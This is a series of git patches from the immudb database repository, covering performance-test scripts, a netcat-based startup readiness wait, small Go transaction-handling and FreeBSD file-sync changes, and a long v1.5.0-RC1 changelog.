+DURATION=300 +WORKERS=100 +BATCHSIZE=10 + +#docker-compose build immudb-perftest immudb-tools +docker-compose up -d immudb-standalone +docker-compose run immudb-tools-kv \ + -addr immudb-standalone -db perf -duration $DURATION \ + -read-workers 0 -read-batchsize 0 -write-speed 0 \ + -write-workers $WORKERS -write-batchsize $BATCHSIZE \ + -silent -summary + diff --git a/test/release_perf_test/startup.sh b/test/release_perf_test/startup.sh index e3ed575909..b1f3198f1f 100755 --- a/test/release_perf_test/startup.sh +++ b/test/release_perf_test/startup.sh @@ -14,16 +14,16 @@ echo "Startup mode '$MODE'" case $MODE in standalone) ( - sleep 3 + while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb - $IMMUADMIN database create perf --max-commit-concurrency 120 + $IMMUADMIN database create perf --max-commit-concurrency 120 # --embedded-values=true --prealloc-files=true ) & $IMMUDB --dir /var/lib/immudb --web-server ;; asyncmain) ( - sleep 3 + while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf --max-commit-concurrency 120 ) & @@ -31,7 +31,7 @@ case $MODE in ;; asyncreplica) ( - sleep 3 + while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf \ --max-commit-concurrency 120 \ @@ -47,7 +47,7 @@ case $MODE in syncmain) ( - sleep 3 + while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf --max-commit-concurrency 120 \ --replication-sync-enabled \ @@ -57,7 +57,7 @@ case $MODE in ;; syncreplica) ( - sleep 3 + while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf \ --max-commit-concurrency 120 \ From e4302d7bde57df7ca7f2a63c15f2de946c150dfe Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Jun 2023 09:53:29 -0300 Subject: [PATCH 0628/1062] chore(embedded/sql): return closed sql txs Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index d8c5afd060..fabafe6495 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -281,7 +281,7 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } } - if currTx.Committed() { + if currTx.Closed() { committedTxs = append(committedTxs, currTx) } From 9d61e829bb3ace19776d5e48fa2c38ea803d59a0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Jun 2023 10:58:31 -0300 Subject: [PATCH 0629/1062] chore(embedded/store): set tx as closed upon cancellation Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 21dabf8f26..dbc0c5f762 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -476,12 +476,12 @@ func (tx *OngoingTx) Cancel() error { return ErrAlreadyClosed } + tx.closed = true + if !tx.IsWriteOnly() { return tx.snap.Close() } - tx.closed = true - return nil } From 8891b1c7221d9b6ae23f8608a942bf76171842a3 Mon Sep 17 00:00:00 2001 From: moshix Date: Thu, 15 Jun 2023 09:57:10 -0500 Subject: [PATCH 0630/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 20a7ab85ff..de78460a52 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ immudb!](https://img.shields.io/twitter/url/http/shields.io.svg?style=social&lab Don't forget to ⭐ this repo if you like immudb! -[:tada: 11M pulls from docker hub!](https://hub.docker.com/r/codenotary) +[:tada: 15M pulls from docker hub!](https://hub.docker.com/r/codenotary) --- From 5dd8e3e9ac7704a8c9c7798650436fd88e59bf95 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 16 Jun 2023 09:52:33 -0300 Subject: [PATCH 0631/1062] chore(embedded/appendable): fsync freebsd Signed-off-by: Jeronimo Irazabal --- .../appendable/fileutils/fileutils_freebsd.go | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 embedded/appendable/fileutils/fileutils_freebsd.go diff --git a/embedded/appendable/fileutils/fileutils_freebsd.go b/embedded/appendable/fileutils/fileutils_freebsd.go new file mode 100644 index 0000000000..51f7e7d727 --- /dev/null +++ b/embedded/appendable/fileutils/fileutils_freebsd.go @@ -0,0 +1,38 @@ +//go:build freebsd +// +build freebsd + +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); + +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package fileutils + +import "os" + +func syncDir(path string) error { + f, err := os.Open(path) + if err != nil { + return err + } + + defer f.Close() + + return f.Sync() +} + +func fdatasync(f *os.File) error { + return f.Sync() +} From 24cce795f31d862c16c4c71409e50f1e337332af Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 16 Jun 2023 09:56:03 -0300 Subject: [PATCH 0632/1062] release: v1.5.0-RC1 --- CHANGELOG.md | 744 ++++++++++++++++++++++++++++++++++++++++----------- Makefile | 2 +- 2 files changed, 591 insertions(+), 155 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 470064fdce..6933edb489 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,8 +4,443 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.5.0-RC1] - 2023-06-16 +### Bug Fixes +- build/Dockerfile.immuadmin to reduce vulnerabilities +- build/Dockerfile.immuclient to reduce vulnerabilities +- build/Dockerfile.immuadmin to reduce vulnerabilities +- build/Dockerfile.rndpass to reduce vulnerabilities +- build/Dockerfile.full to reduce vulnerabilities +- modify tests for new object db initialisation +- build/Dockerfile.full to reduce vulnerabilities +- build/Dockerfile.rndpass to reduce vulnerabilities +- table id generation +- build/Dockerfile.immuclient to reduce vulnerabilities +- **docs:** bump golang.org/x/net to 0.7.0 in docs and test pkg +- **embedded/ahtree:** correct calculation of payload offset +- **embedded/appendable:** proper closing of non-required chunks +- **embedded/document:** support nil docs +- **embedded/document:** proper column renaming +- **embedded/document:** assign correct revision number +- **embedded/document:** close readers before updating document +- **embedded/document:** id field conversion +- **embedded/document:** proper handling of deleted documents +- **embedded/document:** validate doc is properly initialized +- **embedded/document:** validate doc is properly initialized +- **embedded/sql:** do not force columns to have max key length when unspecified +- **embedded/sql:** include explicit close into sqlTx options +- **embedded/sql:** multi-row conflict handling +- **embedded/sql:** implicit conversion within expressions +- **embedded/sql:** consider 0 as no limit +- **embedded/sql:** parsing of exists stmt +- **embedded/sql:** like operator supporting null values +- **embedded/sql:** crash when RowReader.Read() returns error +- **embedded/sql:** proper handling of parameters in row readers +- **embedded/store:** force snapshot to include mandatory mvcc changes +- **embedded/store:** ensure snapshot is closed for read-only txs +- **embedded/store:** integrity checks covering empty values +- **embedded/store:** avoid dead-lock when exporting tx with external commit allowance mode +- **embedded/tbtree:** fix error comparison +- **embedded/tbtree:** rollback to the most recent snapshot when insertion fails +- **embedded/tbtree:** fix snapshot getKeyWithPrefix +- **embedded/tbtree:** proper kv validation +- **embedded/tbtree:** fix snapshot getKeyWithPrefix +- **go.mod:** bump go version to 1.17 in go.mod +- **helm:** set securityContext and podSecurityContext at correct location +- **pkg/api:** create collection endpoint with path parameter +- **pkg/api:** fix and implement LIKE and NOT_LIKE operator when querying documents +- **pkg/client:** ensure ticker is properly stopped +- **pkg/client:** return error when verifiedGet operation fails +- **pkg/database:** read-only document API for replicas +- **pkg/database:** skip eof error during scan +- **pkg/database:** read from err channel +- **pkg/database:** wrap propagated context +- **pkg/database:** fix truncation and contemplate entry-less txs +- **pkg/replicator:** check stream is properly initialized +- **pkg/server:** do not set trailer metadata when replication is done with bidirectional streamming +- **pkg/server:** ensure error propagation when sending headers +- **pkg/server:** use grpc interceptors with grpc proxy +- **pkg/server:** request explicit close when creating a rw sql tx +- **pkg/server:** ensure tx is closed upon error +- **pkg/server:** close document readers before cancelling txs +- **pkg/server:** thread-safe doc reader during session handling +- **pkg/stream:** handle the case when message fits in a single chunk +- **pkg/truncator:** adjust plan logic and contemplate empty txs +- **pkg/verification:** document comparison with proto equals +- **push.yml:** update min go version + +### Changes +- Add reformatting of protobuf file on build/codegen +- rename DocumentBulkInsert to DocumentInsertMany +- Update build/RELEASING.md file +- allow multiple order by clauses +- replace schemav2 with protomodel in truncator test +- handle no more doc error inside response in search +- use sys/unix package +- remove docker test provider +- update document with id if not nil +- use gosec action +- add updatecollection api +- copy document catalogue when truncating db +- add DocumentFindOneAndUpdate api +- wait for immudb to get initialized +- add test case for uncommitted tx not increasing table count +- pass transaction to upsert function +- check invalid search id in search request +- add monotically increasing number to doc id generation +- add document audit api +- change DocumentFindOneAndUpdate to DocumentUpdate +- return sql reader on document search +- add order by clause in search +- use sql statement for delete than raw query +- add ReadN method to document reader +- add documentReader iterator to read documents +- remove initial swagger support +- exclude generated code from coverage +- exclude generated code from coverage +- add unique search id for paginated readers +- fix TestFloatSupport test case +- simplified codegen +- fix tests +- change DeleteTableStmt to DropTableStmt +- generate proto requests for DocumentDelete api +- return ErrNoMoreDocuments instead of sql.ErrNoMoreRows +- add DocumentDelete api +- add default size for document reader lru cache +- add lru cache for paginated readers +- fix merge issues +- add pagination support when fetching documents +- fix failing verification test +- increase test coverage for document engine +- add bulk insert api +- TruncateDatabase endpoint should use the same ongoing Truncator if present +- address review comment +- add go-acc and goveralls to ext-tools folder +- delete columns on table deletion +- check for column before adding index on collection update +- add option for non unique indexes on collection +- **ci:** improve notifications +- **cmd/immuadmin:** flag to specify the usage of embedded values +- **cmd/immuadmin:** add truncate cmd to immuadmin +- **cmd/immuadmin:** modify truncation settings schema +- **deps:** bump golang.org/x/crypto +- **deps:** bump github.com/jaswdr/faker from 1.4.3 to 1.16.0 +- **deps:** bump securego/gosec from 2.14.0 to 2.15.0 +- **deps:** bump github.com/codenotary/immudb +- **deps:** bump github.com/influxdata/influxdb-client-go/v2 +- **deps:** bump github.com/golang/protobuf from 1.5.2 to 1.5.3 +- **deps:** bump github.com/rogpeppe/go-internal from 1.8.0 to 1.9.0 +- **deps:** bump github.com/lib/pq from 1.10.7 to 1.10.9 +- **deps:** bump github.com/lib/pq from 1.10.2 to 1.10.7 +- **deps:** bump golang.org/x/net from 0.8.0 to 0.9.0 +- **deps:** bump github.com/rs/xid from 1.3.0 to 1.5.0 +- **deps:** bump github.com/stretchr/testify from 1.8.0 to 1.8.2 +- **deps:** bump aws-actions/configure-aws-credentials from 1 to 2 +- **deps:** bump github.com/spf13/cobra from 1.2.1 to 1.6.1 +- **deps:** bump github.com/grpc-ecosystem/grpc-gateway/v2 +- **deps:** bump google.golang.org/grpc from 1.46.2 to 1.54.0 +- **deps:** bump github.com/spf13/viper from 1.12.0 to 1.15.0 +- **embedded/ahtree:** add inline comments +- **embedded/appendable:** fsync freebsd +- **embedded/appendable:** automatic file creation only when appending +- **embedded/appendable:** use fdatasync when file is preallocated +- **embedded/appendable:** file syncing per os +- **embedded/appendable:** support file preallocation +- **embedded/appendable:** file syncing using fdatasync when available +- **embedded/appendable:** minor improvements reading files +- **embedded/appendable:** metadats with putBool +- **embedded/document:** remove dead-code +- **embedded/document:** add float support for doc engine +- **embedded/document:** raw document validation +- **embedded/document:** improve error handling +- **embedded/document:** transactional collection update +- **embedded/document:** support null values in indexed attributes +- **embedded/document:** retrieval of raw document +- **embedded/document:** move source code into dedicated files +- **embedded/document:** use onclose callback to close the tx +- **embedded/document:** return struct when auditing document history +- **embedded/document:** add test to ensure key ordering in document during serialization +- **embedded/document:** blob type not yet supported +- **embedded/document:** catch key alredy exists error +- **embedded/document:** catch tx read conflict error +- **embedded/document:** translate table already exists error +- **embedded/document:** minor var renaming +- **embedded/document:** fix query stmt generator and add tests +- **embedded/document:** leverage sqlengine lazy index contraint evaluation +- **embedded/document:** binary serialization of doc payload +- **embedded/document:** use query limit when searching +- **embedded/document:** wip continue with improvements +- **embedded/document:** wip continue with improvements +- **embedded/document:** wip continue with improvements +- **embedded/document:** wip improvements +- **embedded/document:** add collection deletion api support +- **embedded/document:** minor code simplification +- **embedded/document:** add variable length support for multiple types +- **embedded/document:** ensure order by clauses are used when deleting and updating +- **embedded/document:** improve error messages +- **embedded/document:** minor code adjustments +- **embedded/document:** transactional collection and document creation +- **embedded/document:** improve error messages +- **embedded/document:** possibility to specify desc order when querying document history +- **embedded/document:** add tests for blob type +- **embedded/document:** avoid public dependency on sql +- **embedded/document:** add test cases for collection on doc engine +- **embedded/document:** change querier from BinBoolExp to CmpBoolExp +- **embedded/document:** transactional document creation +- **embedded/document:** add document id generation +- **embedded/document:** typo in error message +- **embedded/htree:** allow creation of empty hash trees +- **embedded/object:** add document abstraction +- **embedded/object:** add collection/database statements +- **embedded/sql:** use read-only txs whenever possible +- **embedded/sql:** make sql engine generic for object store +- **embedded/sql:** limit and offset boundary validation +- **embedded/sql:** minor numeric type adjustments +- **embedded/sql:** implicit conversion support in limit and offset clauses +- **embedded/sql:** simplified sql tx +- **embedded/sql:** return closed sql txs +- **embedded/sql:** implicit conversion from varchar to int and float types +- **embedded/sql:** upgraded row reader +- **embedded/sql:** ddl stmts register catalog mutation +- **embedded/sql:** snapshot reuse improvements +- **embedded/sql:** lazy index contraint validation +- **embedded/sql:** WIP singledb sql engine +- **embedded/sql:** transient context +- **embedded/sql:** validate total key length at index creation time +- **embedded/sql:** extend max key length to 512 +- **embedded/sql:** cancellable row reader +- **embedded/store:** add in-line documentation for store options +- **embedded/store:** validate Eh only when integrity checks are not disabled +- **embedded/store:** addition of a cache for values +- **embedded/store:** consume all tx content even if integrity checks are disabled +- **embedded/store:** optional integrity checking when reading values +- **embedded/store:** validate Eh only when integrity checks are not disabled +- **embedded/store:** inline comments +- **embedded/store:** fix typo in inline comment +- **embedded/store:** validate gets using filters +- **embedded/store:** MVCC read-set with boundaries +- **embedded/store:** context propagation +- **embedded/store:** mvcc validation only if another tx was processed +- **embedded/store:** minor changes after rebasing from master +- **embedded/store:** simplified dualproof implementation +- **embedded/store:** skipIntegrityCheck parameter when reading data +- **embedded/store:** minor code improvement +- **embedded/store:** add min limit for truncation frequency +- **embedded/store:** use syncSnapshot to validate ongoing txs +- **embedded/store:** unify Read and ReadBetween +- **embedded/store:** transient context +- **embedded/store:** tx header is returned when fully committed +- **embedded/store:** api upgrade +- **embedded/store:** set ctx as first argument +- **embedded/store:** readValueAt and exportTx improvements +- **embedded/store:** update ReadBetween +- **embedded/store:** contextualized transactions +- **embedded/store:** inline comments +- **embedded/store:** snapshot reuse improvements +- **embedded/store:** set smaller default value for indexing bulk size +- **embedded/store:** wip mvcc validations +- **embedded/store:** simplified indexer initialization +- **embedded/store:** multi-tx unsafe mvcc +- **embedded/store:** set tx as closed upon cancellation +- **embedded/store:** wip mvcc validations +- **embedded/store:** set ctx as first argument +- **embedded/store:** embedded meta attribute required if version is greater than 1 +- **embedded/store:** set embedded values mode as default one +- **embedded/store:** backward compatible embedded value mode +- **embedded/store:** optional integrity checking when reading values +- **embedded/store:** preallocate tx header log files +- **embedded/store:** wip mvcc validations +- **embedded/store:** handle eof when reading last committed tx +- **embedded/store:** support preallocated files when reading tx data +- **embedded/store:** wip preallocated clog +- **embedded/store:** option to prealloc files +- **embedded/store:** optional integrity checking +- **embedded/store:** further in-line documentation +- **embedded/store:** make truncation validation tolerate entryless txs +- **embedded/store:** allow tx without entries as long as it contains metadata +- **embedded/store:** add hashValue as fixed 32 byte size +- **embedded/store:** add test for TxOptions +- **embedded/store:** add min limit for truncation frequency +- **embedded/store:** multi-tx bulk indexing +- **embedded/store:** fix default vlog cache size and add validation for hash when reading from cache +- **embedded/store:** safe key copy for mvcc validation +- **embedded/store:** improve log messages when discarding precommitted transactions +- **embedded/store:** mvcc validations +- **embedded/store:** fix rebase issue with readValueAt for vlogcache +- **embedded/store:** multi-timed bulk insertions +- **embedded/store:** clog file size adjustment only when preallocation is disabled +- **embedded/store:** added more in-line comments +- **embedded/store:** file preallocation not enabled by default +- **embedded/store:** propagate context usage +- **embedded/tbtree:** parametrize snapshot creation specs +- **embedded/tbtree:** in-line documentation +- **embedded/tbtree:** initialize tbtree with a non-mutated leaf +- **embedded/tbtree:** getWithPrefix +- **embedded/tbtree:** remove unnecessary kv sorting +- **embedded/tbtree:** add in-line documentation +- **embedded/tbtree:** minor code improvements +- **embedded/tbtree:** rollback not needed as updates are made in a copy +- **embedded/tbtree:** add in-line comments +- **embedded/tbtree:** wip reduce allocs while updating inner node +- **embedded/tbtree:** optimized bulk insertion +- **embedded/tbtree:** optimize snapshot renewal +- **embedded/tbtree:** wip optimized insertion +- **embedded/tbtree:** variable renaming after rebasing +- **embedded/tools:** upgrade embedded tools with transient context +- **embedded/watchers:** return context error upon cancellation +- **embedded/watchers:** set ctx as first arg +- **embedded/watchers:** use context instead of cancellation channel +- **package/database:** bunch of fixes and improvements in document engine +- **pkg:** add more tests admin truncate command +- **pkg/api:** expose db setting to enable file preallocation +- **pkg/api:** use ErrrIs/ErrorContains in error checks +- **pkg/api:** rename idFieldName to documentIdFieldName +- **pkg/api:** annotate required fields +- **pkg/api:** use of path parameters for document-related endpoints +- **pkg/api:** expose new store indexing options +- **pkg/api:** document update with path parameter +- **pkg/api:** document api improvements +- **pkg/api:** remove bool from tx metadata conversion +- **pkg/api:** document api improvements +- **pkg/api:** snapshot reuse attributes +- **pkg/api:** search api improvements +- **pkg/api:** return txID when inserting or updating documents +- **pkg/api:** expose MVCC read-set settings +- **pkg/api:** remove unsupported attribute from response messages +- **pkg/api:** revert changes in swagger spec +- **pkg/api:** re-generated httpclient with DeleteDocument endpoint +- **pkg/api:** singular document path for audit and proof endpoints +- **pkg/api:** manual adjustments post-code generation +- **pkg/api:** expose replication settings for skipping integrity checks and indexing +- **pkg/api:** swagger gen +- **pkg/api:** value cache settings exposed +- **pkg/api:** annotate primitive types as required +- **pkg/api:** endpoint renaming +- **pkg/api:** cleaner session id header +- **pkg/api:** minor proof request renaming +- **pkg/api:** authorization in swagger spec +- **pkg/api:** re-generated httpclient +- **pkg/api:** expose support for unsafe mvcc transactions +- **pkg/api:** expose embeddedValue database setting +- **pkg/api:** remove generated httpclient +- **pkg/api:** buch of implementation improvements +- **pkg/api:** revised document and authentication apis +- **pkg/api:** annotated required message fields +- **pkg/api:** add tx metadata conversion +- **pkg/api:** re-generated httpclient +- **pkg/api:** change retention period in TruncateDatabase message to int64 +- **pkg/auth:** add document update permissions +- **pkg/client:** minor renaming in tx options +- **pkg/client:** move heartbeater.go to pkg/client +- **pkg/client/cache:** improve test coverage +- **pkg/database:** upgrade after rebasing +- **pkg/database:** remove object store db initialisation +- **pkg/database:** upgraded reader specs +- **pkg/database:** add document query struct to abstract request query +- **pkg/database:** change objectEngine to documentEngine +- **pkg/database:** add mvcc test for truncation, parse retention period using duration +- **pkg/database:** add more tests for truncation +- **pkg/database:** add document store db initialisation +- **pkg/database:** updated APIs with schema updates +- **pkg/database:** implement GetCollection API +- **pkg/database:** remove search through first query +- **pkg/database:** add query parser for object to generate sql expression +- **pkg/database:** fix truncation deletion point checks in test +- **pkg/database:** add search document api implementation for object store +- **pkg/database:** create document/collection from schemav2 requests +- **pkg/database:** context propagation +- **pkg/database:** minor document renaming +- **pkg/database:** add and implement object db interface +- **pkg/database:** add DocumentUpdate api +- **pkg/database:** minor code aligments +- **pkg/database:** add object store +- **pkg/database:** context propagation from server to embedded layer +- **pkg/database:** proper calculation of source tx +- **pkg/database:** create txs with default options +- **pkg/database:** hard limit on page size +- **pkg/database:** check encoded value is consistent with raw document +- **pkg/database:** document verfication +- **pkg/database:** use _obj to hold raw document payload +- **pkg/database:** snapshot reuse changes +- **pkg/database:** add document engine abstraction +- **pkg/integration:** exportTx benchmarking +- **pkg/replication:** replicator using bidirectional streaming +- **pkg/replication:** improve options validation +- **pkg/replication:** skip integrity check when exporting transactions +- **pkg/replication:** context propagation +- **pkg/replication:** wip stream replication - only async replication working +- **pkg/server:** multi-grpc request context propagation +- **pkg/server:** added inline comments +- **pkg/server:** set default replication settings +- **pkg/server:** context propagation from grpc api to embedded package +- **pkg/server:** upgrades after rebasing from master +- **pkg/server:** upgrade to new insecure credentials api +- **pkg/server:** log error when closing document reader +- **pkg/server:** support snapshot reuse +- **pkg/server:** close all paginated readers on close of session +- **pkg/server:** integrate document functions with server apis +- **pkg/server:** add pagination test for document search +- **pkg/server:** ensure document reader is closed when swithing pages +- **pkg/server:** minor code reuse +- **pkg/server:** add test successful load/unload of db with truncator +- **pkg/store:** skipIntegrityChecks parameter when reading data +- **pkg/stream:** handle eof when sending data +- **pkg/truncator:** return error if expiration time hasn't been met +- **pkg/truncator:** add context to Truncate method +- **pkg/truncator:** refactor truncator process +- **pkg/verfication:** document verification methods +- **pkg/verification:** strengthen proof validations +- **pkg/verification:** minor renaming +- **pkg/verification:** document verification using embedded identifier +- **pkg/verification:** use proto serialization +- **test/objects:** add tests to create collections +- **test/objects:** use httpexpect +- **test/objects:** add more tests to create collection +- **test/perf:** fix version value for flag +- **test/perf:** add immudb version to influxdb data +- **test/perf:** add runner to results for influxdb +- **test/perf-tests:** remove runner check +- **test/perf-tests:** use proxy on benchmark runner +- **test/performance:** call cleanup method +- **test/performance-test-suite:** fix replica directory path +- **test/performance-test-suite:** add sync benchmarks +- **test/performance-test-suite:** changed server concrete implementation +- **test/performance-test-suite:** replicas are able to communicate with primary +- **test/performance-test-suite:** send results to influxdb +- **test/performance-test-suite:** extract json from results +- **test/performance-test-suite:** add influxdb host and toke arguments +- **test/performance-test-suite:** use temp folders for primary, replicas and clients +- **truncator:** add more coverage for truncator + +### Features +- add vlog truncation functionality +- **ci:** change notification +- **embedded/document:** count documents +- **embedded/object:** add object store to embedded pkg +- **embedded/sql:** Initial float support +- **embedded/sql:** limit and offset as expressions +- **embedded/sql:** sql transaction creation with options +- **embedded/sql:** short casting syntax +- **embedded/sql:** wip unsafe and optimized mvcc +- **embedded/sql:** implicit type conversion of numeric types +- **embedded/store:** tx creation with options +- **embedded/store:** expose GetWithPrefixAndFilters +- **embedded/store:** embeddable values +- **embedded/store:** unsafe mvcc mode +- **embedded/store:** embedded values option +- **embedded/store:** read-only transactions +- **embedded/store:** GetWithPrefixAndFilters +- **embedded/tbtree:** multi-timed bulk insertions +- **pkg/api:** document proof endpoint +- **pkg/api:** improved replace documents endpoint +- **pkg/api:** keepOpen parameter to instruct server to maintain a document reader in memory +- **pkg/api:** count documents endpoint +- **pkg/client:** optional tx options are now available during the creation process + + -## [v1.4.1] - 2022-11-14 +## [v1.4.1] - 2022-11-21 ### Changes - **pkg/server:** Add logs for activities related to users @@ -824,18 +1259,19 @@ All notable changes to this project will be documented in this file. This projec ## [v1.2.0-RC1] - 2021-12-07 ### Bug Fixes - Update jaswdr/faker to v1.4.3 to fix build on 32-bit systems +- **CI:** Fix building and releasing almalinux images - **Makefile:** Fix building immudb for specific os/arch - **Makefile:** Use correct version of the grpc-gateway package +- **embedded/sql:** fix rollback stmt +- **embedded/sql:** correct max key length validation based on specified col max length - **embedded/sql:** ensure determinism and no value overlaps distinct rows - **embedded/sql:** fix inserting calculated null values -- **embedded/sql:** correct max key length validation based on specified col max length -- **embedded/sql:** fix rollback stmt - **embedded/sql:** normalize parameters with lower case identifiers -- **embedded/sql:** param substitution in LIKE expression - **embedded/sql:** Use correct statement for subquery - **embedded/sql:** Do not modify value returned by colsBySelector -- **embedded/sql:** Fix SELECT * when joining with subquery - **embedded/sql:** distinct row reader with limit argument +- **embedded/sql:** param substitution in LIKE expression +- **embedded/sql:** Fix SELECT * when joining with subquery - **embedded/store:** release lock when tx has a conflict - **embedded/store:** read conflict validation - **embedded/store:** typo in error message @@ -849,54 +1285,54 @@ All notable changes to this project will be documented in this file. This projec ### Changes - refining sdk client constructor and add readOnly tx guard - Update build/RELEASING.md documentation. -- fix more tests +- Remove experimental S3 warning from README - decoupled token service - token is handled internally by sdk. Remove useless code +- fix more tests - remove token service from client options and fix tests - **cmd/immuadmin/command:** fix immuadmin token name on client creation - **cmd/immuclient:** deleteKeys functioin and updates after metadata-related changes - **cmd/immuclient:** temporary disable displaying hash in non-verified methods - **embeddded/tbtree:** leverage snapshot id to identify it's the current unflushed one - **embedded/multierr:** minor code simplification -- **embedded/sql:** set INNER as default join type -- **embedded/sql:** minor update after rebasing +- **embedded/sql:** bound stmt execution to a single sqltx - **embedded/sql:** Alter index key prefixes -- **embedded/sql:** wip rw transactions +- **embedded/sql:** postponing short-circuit evaluation for safetiness - **embedded/sql:** remove opt_unique rule to ensure proper error message - **embedded/sql:** minor code simplification -- **embedded/sql:** kept last snapshot open +- **embedded/sql:** use order type in scanSpecs - **embedded/sql:** Simplify row_reader key selection - **embedded/sql:** Better error messages when (up|in)serting data -- **embedded/sql:** standardized datasource aliasing +- **embedded/sql:** method to return sql catalog - **embedded/sql:** wip sqlTx - **embedded/sql:** de-duplicate tx attributes using tx header struct - **embedded/sql:** fix nullable values handling - **embedded/sql:** rollback token -- **embedded/sql:** set parsing verbose mode when instantiating sql engine +- **embedded/sql:** limit row reader +- **embedded/sql:** use int type for limit arg +- **embedded/sql:** kept last snapshot open - **embedded/sql:** unsafe snapshot without flushing - **embedded/sql:** reusable index entries and ignore deleted index entries -- **embedded/sql:** bound stmt execution to a single sqltx -- **embedded/sql:** delay index sync until fetching row by its pk - **embedded/sql:** changes on tx closing -- **embedded/sql:** leverage metadata for logical deletion -- **embedded/sql:** use order type in scanSpecs -- **embedded/sql:** cancel non-closed tx +- **embedded/sql:** set INNER as default join type +- **embedded/sql:** delay index sync until fetching row by its pk +- **embedded/sql:** set parsing verbose mode when instantiating sql engine - **embedded/sql:** expose Cancel method -- **embedded/sql:** wip interactive sqltx -- **embedded/sql:** limit row reader +- **embedded/sql:** leverage metadata for logical deletion +- **embedded/sql:** standard count(*) - **embedded/sql:** return map with last inserted pks -- **embedded/sql:** use int type for limit arg +- **embedded/sql:** standardized datasource aliasing - **embedded/sql:** defer execution of onClose callback +- **embedded/sql:** wip sql tx preparation - **embedded/sql:** sql engine options and validations -- **embedded/sql:** standard count(*) - **embedded/sql:** ddl stmts not counted in updatedRows -- **embedded/sql:** method to return sql catalog +- **embedded/sql:** cancel non-closed tx - **embedded/sql:** non-thread safe tx +- **embedded/sql:** wip interactive sqltx - **embedded/sql:** use current db from ongoing tx -- **embedded/sql:** postponing short-circuit evaluation for safetiness -- **embedded/sql:** wip sql tx preparation +- **embedded/sql:** minor update after rebasing +- **embedded/sql:** wip rw transactions - **embedded/store:** entryDigest calculation including key len -- **embedded/store:** conservative read conflict validation - **embedded/store:** non-thread safe ongoing tx - **embedded/store:** wip tx header versioning - **embedded/store:** expose ExistKeyWithPrefix in OngoingTx @@ -904,35 +1340,36 @@ All notable changes to this project will be documented in this file. This projec - **embedded/store:** set tx as closed even on failed attempts - **embedded/store:** strengthen tx validations - **embedded/store:** GetWith method accepting filters -- **embedded/store:** handle watchersHub closing error +- **embedded/store:** conservative read conflict validation - **embedded/store:** remove currentShapshot method -- **embedded/store:** tx header version validations and increased max number of entries +- **embedded/store:** handle watchersHub closing error - **embedded/store:** threadsafe tx -- **embedded/store:** filter out entries when filter evals to true +- **embedded/store:** tx header version validations and increased max number of entries - **embedded/store:** ongoing tx api +- **embedded/store:** filter out entries when filter evals to true - **embedded/store:** early tx conflict checking - **embedded/store:** simplified ExistKeyWithPrefix in current snapshot - **embedded/store:** reorder tx validations - **embedded/tbtree:** remove ts from snapshot struct -- **embedded/tools:** upgrade sql stress tool -- **embedded/tools:** update stress_tool after metadata-related changes - **embedded/tools:** upgrade stress tool using write-only txs +- **embedded/tools:** update stress_tool after metadata-related changes +- **embedded/tools:** upgrade sql stress tool - **pkg/api:** consider nil case during tx header serialization - **pkg/api:** changes in specs to include new metadata records - **pkg/api/schema:** increase supported types when converting to sql values -- **pkg/client:** updates after metadata-related changes -- **pkg/client:** avoid useless tokenservice call and add tests - **pkg/client:** check if token is present before injecting it - **pkg/client:** omit deleted flag during value decoding +- **pkg/client:** avoid useless tokenservice call and add tests +- **pkg/client:** updates after metadata-related changes - **pkg/client/clienttest:** fix immuclient mock - **pkg/client/tokenservice:** handlig error properly on token interceptor and fix leftovers -- **pkg/database:** updates after metadata-related changes -- **pkg/database:** improve readability of Database interface - **pkg/database:** snapshots should be up to current committed tx -- **pkg/database:** revised locking so to ensure gracefully closing - **pkg/database:** implement current functionality with new tx supportt -- **pkg/database:** return a specific error in querying - **pkg/database:** enforce verifiableSQLGet param validation +- **pkg/database:** improve readability of Database interface +- **pkg/database:** revised locking so to ensure gracefully closing +- **pkg/database:** return a specific error in querying +- **pkg/database:** updates after metadata-related changes - **pkg/database:** use new transaction support - **pkg/database:** limit query len result - **pkg/errors:** invalid database name error converted to immuerror @@ -944,11 +1381,11 @@ All notable changes to this project will be documented in this file. This projec - **pkg/server/sessions:** polish logger call - **pkg/server/sessions:** add sessions counter debug messages - **pkg/stdlib:** general improvements and polishments -- **pkg/stdlib:** remove context 